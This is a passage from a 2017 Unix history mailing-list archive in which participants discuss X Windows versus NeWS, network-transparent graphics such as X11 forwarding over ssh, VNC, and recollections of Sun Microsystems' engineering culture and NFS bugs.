> in a UI library, and if your screen looks anything like mine there isn't a lot
> of consistency because different applications use different libraries.



From krewat at kilonet.net  Wed Sep 13 11:42:08 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Tue, 12 Sep 2017 21:42:08 -0400
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <CAP6exYKLGRq5Jsh7RinuURHXQbDcdODZ56ExACKpwqbwOSpS6A@mail.gmail.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
 <CAP6exYKLGRq5Jsh7RinuURHXQbDcdODZ56ExACKpwqbwOSpS6A@mail.gmail.com>
Message-ID: <70d56443-a98b-08bd-9731-1ba91336f203@kilonet.net>

Try installing Oracle products on UNIX/Linux without X. Better yet, try 
doing it on a remote machine on the other side of the world.

While KVMs like a Dell DRAC or Sun LOM, and virtualization consoles help 
a lot, it's nice to be able to "ssh -X" to a remote machine and run that 
installer back to my local VNC server.

If I had a decent X windows implementation locally, I'd use that instead 
of VNC.

X had it's issues. But it's still alive and well - maybe because of Java ;)



On 9/12/2017 8:52 PM, ron minnich wrote:
>
>
> On Tue, Sep 12, 2017 at 5:30 PM Bakul Shah <bakul at bitblocks.com 
> <mailto:bakul at bitblocks.com>> wrote:
>
>     Unix still needs a decent graphics API (ideally one that can work
>     over a network).
>
>
> does anyone know or care about network graphics any more? From what I 
> can tell, no.
>
> ron

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170912/7f00c728/attachment.html>

From khm at sciops.net  Wed Sep 13 12:06:28 2017
From: khm at sciops.net (Kurt H Maier)
Date: Tue, 12 Sep 2017 19:06:28 -0700
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <CAP6exYLOAWxjzL4SbavuLh4dTYEvTbQ6x_5MYqeCTudWhhiQKw@mail.gmail.com>
References: <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
 <CAP6exYKLGRq5Jsh7RinuURHXQbDcdODZ56ExACKpwqbwOSpS6A@mail.gmail.com>
 <CANCZdfpZgOXA99Vn8E7+=-YHN7kOpOSrsTvPOoBWFqFcaJ6hyQ@mail.gmail.com>
 <CAP6exYLOAWxjzL4SbavuLh4dTYEvTbQ6x_5MYqeCTudWhhiQKw@mail.gmail.com>
Message-ID: <20170913020628.GA17888@wopr>

On Wed, Sep 13, 2017 at 12:56:26AM +0000, ron minnich wrote:
> Why does a phone need it? That's the determinant.
       
Apple and Google spend a hell of a lot of time syncing everyone's data
between phones, tablets, computers, surveillance platforms, and the
like.  Microsoft is making a lot of noise about jamming your phone into
your computer to do things in a consistent manner.  They call it
'convergence.'
       
In 2009 I could just ssh into my phone and launch its messaging program
from my desktop.  It worked the other way, too -- I could log into my
workstation from my phone.  We lost that when iOS and Android destroyed
all the competition.  
       
khm



From lm at mcvoy.com  Wed Sep 13 12:23:33 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 12 Sep 2017 19:23:33 -0700
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS  ]
In-Reply-To: <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
Message-ID: <20170913022333.GD24549@mcvoy.com>

On Tue, Sep 12, 2017 at 01:15:43PM -0700, Steve Johnson wrote:
> We would go out to lunch every day and trash talk Sun up one side and
> down the other.?? And then we would go back to work and order more
> Suns.?? Because THEY UNDERSTOOD WHAT WE NEEDED, and were TRYING TO
> GIVE IT TO US.?? 

I love this.  I was one of those guys trying to give you what you wanted.
I did POSIX conformance in SunOS and as part of that I wrote lint
libraries for 4x BSD, SunOS, Sys V, etc.  I made it so you could use a
Sun machine as your dev environment but target other operating systems,
lint could tell you if you were using a Sun thing that didn't work on
$OS.

I had a huge blowup with Gingell (a high ranking Sun engineer, he had
some fancy title that made him like a VP) over this.  The libraries
added 40KB to the install image and he didn't like that.  I told him if
you don't ship this I quit.  He shipped it.

The details aside, that story supports your view that we wanted
to help you.  We were developers and we wanted to help developers.
And it worked.  Back at that time every open source (or closed source but
sent around) project had makefiles that "just worked" on Sun machines.
MIPS?  Well that's IRIX, yeah, you need to do this or that.  On a Sun?
It just worked.


From gtaylor at tnetconsulting.net  Wed Sep 13 12:27:09 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Tue, 12 Sep 2017 20:27:09 -0600
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <70d56443-a98b-08bd-9731-1ba91336f203@kilonet.net>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
 <CAP6exYKLGRq5Jsh7RinuURHXQbDcdODZ56ExACKpwqbwOSpS6A@mail.gmail.com>
 <70d56443-a98b-08bd-9731-1ba91336f203@kilonet.net>
Message-ID: <97471f48-bd2d-9f22-977f-7bf417ad4e4c@tnetconsulting.net>

On 09/12/2017 07:42 PM, Arthur Krewat wrote:
> Try installing Oracle products on UNIX/Linux without X. Better yet, try 
> doing it on a remote machine on the other side of the world.

Ouch!  Doing it half way across the US was bad enough.  I'd hate to 
experience half way around the world.

> While KVMs like a Dell DRAC or Sun LOM, and virtualization consoles help 
> a lot, it's nice to be able to "ssh -X" to a remote machine and run that 
> installer back to my local VNC server.

(Don't forget the -Y to forward authentication. ;-)

I completely agree.

Also, I believe that graphic console has a completely different security 
exposure compared to allowing someone to use X remotely.  (Via ssh 
forwarding or more traditionally across the network.)

> If I had a decent X windows implementation locally, I'd use that instead 
> of VNC.

I actually ended up going the other way.  X11 is nice when it works. 
However, I found that I spent a LOT of time waiting on X11 to chat back 
and forth.  Comparatively VNC is (IMHO) a lot better at lower bandwidth 
and / or higher latency.

Also, running Xvnc (server) on the remote system allows you to 
(dis)connect the VNC client at will.  Same advantages as screen / tmux, 
but for X11.

> X had it's issues. But it's still alive and well - maybe because of Java ;)

I personally look fondly on the days when you could set the DISPLAY 
variable and launch your GUI application.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170912/f0e379c5/attachment.bin>

From gtaylor at tnetconsulting.net  Wed Sep 13 12:43:21 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Tue, 12 Sep 2017 20:43:21 -0600
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <201709130056.v8D0uCix029857@darkstar.fourwinds.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
 <201709130056.v8D0uCix029857@darkstar.fourwinds.com>
Message-ID: <45369b52-ca6a-e9c8-06cd-79122d044dee@tnetconsulting.net>

On 09/12/2017 06:56 PM, Jon Steinhart wrote:
> Wow, big topic.  Rather than getting into it in detail at the moment I'm curious
> as to why you think that it's important for it to work over a network.

I personally really like the ability to SSH to a machine (*) using -XY 
and run Oracle's installer such that it's display shows up on my notebook.

I find that SO MUCH EASIER than trying to get the iDRAC / RSA / IMM / 
etc to work.  Usually they require multiple ports and protocols (often 
UDP, which is a pain through SSH).

For me, X11 forwarding just works.  -  Thank you to everyone that spent 
so much time and energy getting it to work.

> Before you bite my head off for that question, I'm not suggesting that there's
> no value in taking data from somewhere on a network and using it on a local
> machine.

I think there's a distinct and large difference in data and display I/O.

> Back in the darker ages of the Green Flash (Tektronix storage tubes like the
> 4014) it was common to display remote data on a local system.  The data in
> those days arrived via RS-232.  Depending on the application, one could shovel
> 4014 commands over the wire or just raw data and use a local program to generate
> drawing commands.

I've often contemplated SIXEL graphics in an error prompt from remote 
systems.  (This is a different topic, which itself relies on answer back.)

> I've never been convinced that the way that X did it made sense.  Sure, you'd
> here people say things like "your remote Cray can draw stuff on your local
> screen."  But it wasn't just that; using X your Cray also had to draw and
> manage your user interface: scroll bars, buttons, and so on unless you wanted
> to create a separate protocol so that you could run your user interface
> locally and have it communicate with the remote application.  Of course, X was
> enough of a pig that maybe using a Cray to drive a scroll bar made sense :-)

Maybe I'm a n00b and don't know better, but I'd think that would be a 
use case for nested X running on a local (closer than the Cray) machine. 
  So all the Cray needed to do was to send program I/O to the (nested) X 
server.  Then the (nested) X server could handle scroll bars and other 
local window manager eye candy.

I think the Cray would run something much like X does if you aren't 
running a window manager.  Simple, single application, no frills.

I think.

> So before getting off into graphics APIs I think that it would be interesting
> to hash this out.
> 
> BTW, one of the best things about NeWS was the fact that with a reasonable set
> of conventions the user interface personality could live in the server and be
> applied to all applications.  Contrast that with X where each application links
> in a UI library, and if your screen looks anything like mine there isn't a lot
> of consistency because different applications use different libraries.
> 
> One of the problems with NeWS was that this was so much fun to play with that
> the people doing the work kept on coming up with new ideas faster than they
> could implement the old ones so there was difficulty completing toolkit
> projects.

LOL

Feeping Creatureism?



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170912/2e26e6b3/attachment.bin>

From jon at fourwinds.com  Wed Sep 13 13:01:13 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Tue, 12 Sep 2017 20:01:13 -0700
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <45369b52-ca6a-e9c8-06cd-79122d044dee@tnetconsulting.net>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
 <201709130056.v8D0uCix029857@darkstar.fourwinds.com>
 <45369b52-ca6a-e9c8-06cd-79122d044dee@tnetconsulting.net>
Message-ID: <201709130301.v8D31DMZ021305@darkstar.fourwinds.com>

Grant Taylor writes:
> I personally really like the ability to SSH to a machine (*) using -XY 
> and run Oracle's installer such that it's display shows up on my notebook.

Well, I agree that this is one area in which X does OK.

Although, being a command line sort of guy, I'm happy to ssh into a machine
and run commands.  I try to avoid non-scriptable GUIs.

I don't administer headless machines, and stay very far away from Oracle.
I'm not sure what their installer does, but usually running X requires an
installed and running system.

So since a number of people have justified networked graphics we're back
to the question of what an API should look like.  At a very high level,
it needs to be modular because there is no one thing that gets done with
graphics, and there's no reason to carry a huge API around just because
you need a small part of it.  In particular, there is a distinction
between applications that spit out geometry and those that spit out mass
quantities of pixel/voxel data.

Also, because of the way that this discussion started, I'm not sure whether
or not resource management (windows, keyboard, etc.) falls under the
umbrella of graphics.

Jon


From gtaylor at tnetconsulting.net  Wed Sep 13 13:25:53 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Tue, 12 Sep 2017 21:25:53 -0600
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <201709130301.v8D31DMZ021305@darkstar.fourwinds.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
 <201709130056.v8D0uCix029857@darkstar.fourwinds.com>
 <45369b52-ca6a-e9c8-06cd-79122d044dee@tnetconsulting.net>
 <201709130301.v8D31DMZ021305@darkstar.fourwinds.com>
Message-ID: <7a7874dc-874c-d199-a6b1-b7e9a396be10@tnetconsulting.net>

On 09/12/2017 09:01 PM, Jon Steinhart wrote:
> Well, I agree that this is one area in which X does OK.

I also like how X will allow me to have windows from remote programs 
mixed with local programs and does not require a full desktop.  (A 
feature that RDP has gotten in the last 10 ? years.)

> Although, being a command line sort of guy, I'm happy to ssh into a machine 
> and run commands.  I try to avoid non-scriptable GUIs.

I completely agree.

> I don't administer headless machines, and stay very far away from Oracle. 
>  I'm not sure what their installer does, but usually running X requires an 
> installed and running system.

Sadly my use case what proving to a ... questionable DBA that things 
could work as directed, despite his objections the other way.

Since I was not familiar with Oracle RAC and Oracle DB, I needed to go 
the front door route, taking screen shots and documenting each and 
everything I did.  (Partially for political reasons.)

Yes, you do need an installed (base) OS with some dependencies. 
Thankfully you don't need a full window manager or the bloat that comes 
with things like Gnome / KDE.

> So since a number of people have justified networked graphics we're back 
> to the question of what an API should look like.  At a very high level, 
> it needs to be modular because there is no one thing that gets done with 
> graphics, and there's no reason to carry a huge API around just because 
> you need a small part of it.  In particular, there is a distinction 
> between applications that spit out geometry and those that spit out mass 
> quantities of pixel/voxel data.

"voxel"?  I'll have to look that up.

> Also, because of the way that this discussion started, I'm not sure whether 
> or not resource management (windows, keyboard, etc.) falls under the 
> umbrella of graphics.

I expect that they should be included in such discussions.  After all, 
they are intimately related.  GUI applications are of questionable value 
if you can't interact with them.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170912/01b07472/attachment.bin>

From jon at fourwinds.com  Wed Sep 13 13:27:59 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Tue, 12 Sep 2017 20:27:59 -0700
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <7a7874dc-874c-d199-a6b1-b7e9a396be10@tnetconsulting.net>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
 <201709130056.v8D0uCix029857@darkstar.fourwinds.com>
 <45369b52-ca6a-e9c8-06cd-79122d044dee@tnetconsulting.net>
 <201709130301.v8D31DMZ021305@darkstar.fourwinds.com>
 <7a7874dc-874c-d199-a6b1-b7e9a396be10@tnetconsulting.net>
Message-ID: <201709130327.v8D3RxJl026879@darkstar.fourwinds.com>

Grant Taylor writes:
> "voxel"?  I'll have to look that up.

I'll save you the trouble.  3D.  Volume equivalent of a pixel.


From rminnich at gmail.com  Wed Sep 13 13:34:18 2017
From: rminnich at gmail.com (ron minnich)
Date: Wed, 13 Sep 2017 03:34:18 +0000
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <20170913020628.GA17888@wopr>
References: <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
 <CAP6exYKLGRq5Jsh7RinuURHXQbDcdODZ56ExACKpwqbwOSpS6A@mail.gmail.com>
 <CANCZdfpZgOXA99Vn8E7+=-YHN7kOpOSrsTvPOoBWFqFcaJ6hyQ@mail.gmail.com>
 <CAP6exYLOAWxjzL4SbavuLh4dTYEvTbQ6x_5MYqeCTudWhhiQKw@mail.gmail.com>
 <20170913020628.GA17888@wopr>
Message-ID: <CAP6exY+PmBpQN6JW2xxW=eFP6ag9XxBLKm16JRNYFsreFzvL5g@mail.gmail.com>

On Tue, Sep 12, 2017 at 7:06 PM Kurt H Maier <khm at sciops.net> wrote:

>
>
> In 2009 I could just ssh into my phone and launch its messaging program
> from my desktop.  It worked the other way, too -- I could log into my
> workstation from my phone.  We lost that when iOS and Android destroyed
> all the competition.
>


I don't disagree. I just think the knowledge of all that is lost, the same
way so much knowledge of unix is lost. That's why we have things like
systemd.

ron
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170913/50674af6/attachment.html>

From jon at fourwinds.com  Wed Sep 13 13:55:03 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Tue, 12 Sep 2017 20:55:03 -0700
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <CAP6exY+PmBpQN6JW2xxW=eFP6ag9XxBLKm16JRNYFsreFzvL5g@mail.gmail.com>
References: <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
 <CAP6exYKLGRq5Jsh7RinuURHXQbDcdODZ56ExACKpwqbwOSpS6A@mail.gmail.com>
 <CANCZdfpZgOXA99Vn8E7+=-YHN7kOpOSrsTvPOoBWFqFcaJ6hyQ@mail.gmail.com>
 <CAP6exYLOAWxjzL4SbavuLh4dTYEvTbQ6x_5MYqeCTudWhhiQKw@mail.gmail.com>
 <20170913020628.GA17888@wopr>
 <CAP6exY+PmBpQN6JW2xxW=eFP6ag9XxBLKm16JRNYFsreFzvL5g@mail.gmail.com>
Message-ID: <201709130355.v8D3t3Li032157@darkstar.fourwinds.com>

ron minnich writes:
> 
> I don't disagree. I just think the knowledge of all that is lost, the same
> way so much knowledge of unix is lost. That's why we have things like
> systemd.

It's amusing to me how many of the topics on this list I've included in
my book in process because I feel that they're important.

I look at the systemd problem slightly differently.  In short, I was
coming into work one night at BTL when Ken was heading out the door for
his sabbatical at UCB with a stack of mag tapes under his arm.  I see
that as a pivotal moment in computer history.  Students could learn from
an actual real computer system; they had source code access.  And, they
had the ability to modify and contribute to that code.  A lot of students
from that era went out to do great things.  Years later, the lower cost
of PCs resulted in students using them for their work.  Not only was MS-DOS
not as advanced a system as UNIX, but source code access was gone.  Students
had to learn from contrived projects, and didn't have the ability to play
with the guts of the operating system that they were using.  While there are
exceptions, I don't feel like students from the PC era are nearly as good.
While Linux has sort of brought us back to the golden age of source access
many of the people working on it are from the PC era and are trying to wedge
their Microsoft-nonsensibilities into Linux.  That's where things like
systemd come from.

Jon


From arnold at skeeve.com  Wed Sep 13 17:30:22 2017
From: arnold at skeeve.com (arnold at skeeve.com)
Date: Wed, 13 Sep 2017 01:30:22 -0600
Subject: [TUHS] Happy birthday,
	Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS  ]
In-Reply-To: <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
References: <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
Message-ID: <201709130730.v8D7UNog003861@freefriends.org>

And buried in this story is another reason Unix / BSD people went with
Sun --- (if you had the licenses) they would give you source! Even for
educational institutions, where I mostly worked, getting source out of
DEC / IBM / HP was essentially impossible.

Arnold

"Steve Johnson" <scj at yaccman.com> wrote:

> Funny.  From the outside I had a rather different view of why Sun was
> successful.
>
> In 1986 I came to CA to work for what became Ardent/Stardent.  We
> made the decision to go with Sun disc-less workstations.  They got us
> more computing power, on paper, for less $$.
>
> Roughly a quarter of the machines shipped to us were DOA.  When we
> got them running, the OS had a memory leak and needed to be rebooted
> several times a day.  The NFS server had the delightful property of
> sometimes inserting 1024 zeros into a file it was writing or
> serving.    (It was so bad that we hacked the OS to check every
> executable for 0-blocks in the instruction space and refuse to run
> it.  This was especially true for the MIPS cross compiler -- 0 was a
> NOP on the MIPS, and encountering a block of zeros caused execution to
> slide down a slippery slope of NOPs into the middle of some other
> routine with a different stack layout, where it proceeded to do the
> most mysterious things...)
>
> We would go out to lunch every day and trash talk Sun up one side and
> down the other.  And then we would go back to work and order more
> Suns.  Because THEY UNDERSTOOD WHAT WE NEEDED, and were TRYING TO
> GIVE IT TO US.  The other manufacturers were selling application
> delivery vehicles rather than attempting to support software
> development.  Eventually we ironed out many of the issues (often by
> changing or hacking the code).  The only fly in the ointment was the
> service department.  Dealing with Sun customer service was like
> spitting into the wind.  We would report the same bug every week and
> they swore the bug had not been reported before.  The memory leak
> problem became so serious that we told them that we would only renew
> the service agreement if they would put a date when that would be
> fixed.  They refused to do so, and we canceled the service contract,
> bought a couple of extra Suns for spares, and heaved a sigh of relief.
>
> Steve
>
> ----- Original Message -----
> From: "Jon Steinhart" <jon at fourwinds.com>
> To:<tuhs at tuhs.org>
> Cc:
> Sent:Tue, 12 Sep 2017 08:35:24 -0700
> Subject:Re: [TUHS] Happy birthday, Dennis Ritchie! [ really sun vs
> dec/apollo --> X and NeWS ]
>
>  arnold at skeeve.com writes:
>  > 
>  > In particular, the creation of NFS and then the efforts to make it
> into
>  > a de-facto standard (giving away the RPC and XDR code) was a HUGE
> thing.
>  > 
>  > They weren't afraid to swim upstream, either. Even though NeWS
> never took
>  > off (even when combined with an X server), it was an interesting
> design,
>  > ahead of its time even.
>
>  It's interesting that you mention the two of these together. It's my
>  opinion that the main reason that NeWS failed was because of the
> success
>  of NFS.
>
>  I recall that Apollo was really pissed off by NFS because they felt
> that
>  their token-ring network was better but lost because NFS was given
> away.
>  In hindsight, they were wrong; while the token-ring performed better
> in
>  large networks, the advent of switches made that moot. In any case,
> when
>  NeWS was released nobody except Sun knew how to do the graphics (even
>  Adobe didn't know how to do it fast for display) and Apollo et. al.
> was
>  worried that Sun would give NeWS away and make it yet another de
> facto
>  standard a la NFS. This led to the formation of the Hamilton Group
> which
>  was a thinly-disguised industry consortium that existed only for the
>  purpose of making sure that NeWS didn't succeed.
>
>  > DEC, IBM, and HP, all seemed to be playing follow the leader to Sun
> for
>  > many years.
>
>  I mentioned this to a lot of people after Sun died. Few seem to
> realize
>  how much of what became PC manufacturing technology resulted from
> innovations
>  at Sun.
>
>  ron at ronnatalie.com writes:
>  >
>  > NeWS had serious issues. However, the same guy who was the NeWS
> proponent
>  > learned from mistakes and the result was the must more successful
> Sun
>  > tehnology: JAVA.
>
>  I'm going to take issue with the above. NeWS had way fewer serious
> issues
>  than X. It's main reason for failure was the coordinated effort to
> kill it
>  from others in the industry. As the guy who single-handedly prevented
> X
>  from becoming an ANSI standard, I'd be happy to start another thread
> on
>  this topic if people are interested. Part of the result of the
> Hamilton
>  Group effort was the misguided attempt to merge X and NeWS which was
> a
>  botched disaster.
>
>  Java is not the result of learning from mistakes in NeWS. I have
> joked with
>  James that I feel that his legacy is being the person who first
> realizes that
>  technology is changing to the point where something can be done using
> an
>  interpreter. If you look at his project history, he's done this many
> times.
>  I think that it's more accurate to say that Java is the result of a
> lifetime
>  of learning from interpreter projects. I fully expect some new
> interpreter
>  to take over AWS sometime soon :-)
>
>  Jon
>


From lm at mcvoy.com  Wed Sep 13 23:35:42 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Wed, 13 Sep 2017 06:35:42 -0700
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS  ]
In-Reply-To: <201709130730.v8D7UNog003861@freefriends.org>
References: <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <201709130730.v8D7UNog003861@freefriends.org>
Message-ID: <20170913133542.GJ24549@mcvoy.com>

Yeah but not the SCCS history.  And the source tapes went through
Bill Shannon who would grep the source for swear words and other
stuff before blessing it.  At least that's how it was when I was 
there.

On Wed, Sep 13, 2017 at 01:30:22AM -0600, arnold at skeeve.com wrote:
> And buried in this story is another reason Unix / BSD people went with
> Sun --- (if you had the licenses) they would give you source! Even for
> educational institutions, where I mostly worked, getting source out of
> DEC / IBM / HP was essentially impossible.
> 
> Arnold
> 
> "Steve Johnson" <scj at yaccman.com> wrote:
> 
> > Funny.? From the outside I had a rather different view of why Sun was
> > successful.
> >
> > In 1986 I came to CA to work for what became Ardent/Stardent.? We
> > made the decision to go with Sun disc-less workstations.? They got us
> > more computing power, on paper, for less $$.
> >
> > Roughly a quarter of the machines shipped to us were DOA.? When we
> > got them running, the OS had a memory leak and needed to be rebooted
> > several times a day.? The NFS server had the delightful property of
> > sometimes inserting 1024 zeros into a file it was writing or
> > serving.??? (It was so bad that we hacked the OS to check every
> > executable for 0-blocks in the instruction space and refuse to run
> > it.? This was especially true for the MIPS cross compiler -- 0 was a
> > NOP on the MIPS, and encountering a block of zeros caused execution to
> > slide down a slippery slope of NOPs into the middle of some other
> > routine with a different stack layout, where it proceeded to do the
> > most mysterious things...)
> >
> > We would go out to lunch every day and trash talk Sun up one side and
> > down the other.? And then we would go back to work and order more
> > Suns.? Because THEY UNDERSTOOD WHAT WE NEEDED, and were TRYING TO
> > GIVE IT TO US.? The other manufacturers were selling application
> > delivery vehicles rather than attempting to support software
> > development.? Eventually we ironed out many of the issues (often by
> > changing or hacking the code).? The only fly in the ointment was the
> > service department.? Dealing with Sun customer service was like
> > spitting into the wind.? We would report the same bug every week and
> > they swore the bug had not been reported before.? The memory leak
> > problem became so serious that we told them that we would only renew
> > the service agreement if they would put a date when that would be
> > fixed.? They refused to do so, and we canceled the service contract,
> > bought a couple of extra Suns for spares, and heaved a sigh of relief.
> >
> > Steve
> >
> > ----- Original Message -----
> > From: "Jon Steinhart" <jon at fourwinds.com>
> > To:<tuhs at tuhs.org>
> > Cc:
> > Sent:Tue, 12 Sep 2017 08:35:24 -0700
> > Subject:Re: [TUHS] Happy birthday, Dennis Ritchie! [ really sun vs
> > dec/apollo --> X and NeWS ]
> >
> >  arnold at skeeve.com writes:
> >  > 
> >  > In particular, the creation of NFS and then the efforts to make it
> > into
> >  > a de-facto standard (giving away the RPC and XDR code) was a HUGE
> > thing.
> >  > 
> >  > They weren't afraid to swim upstream, either. Even though NeWS
> > never took
> >  > off (even when combined with an X server), it was an interesting
> > design,
> >  > ahead of its time even.
> >
> >  It's interesting that you mention the two of these together. It's my
> >  opinion that the main reason that NeWS failed was because of the
> > success
> >  of NFS.
> >
> >  I recall that Apollo was really pissed off by NFS because they felt
> > that
> >  their token-ring network was better but lost because NFS was given
> > away.
> >  In hindsight, they were wrong; while the token-ring performed better
> > in
> >  large networks, the advent of switches made that moot. In any case,
> > when
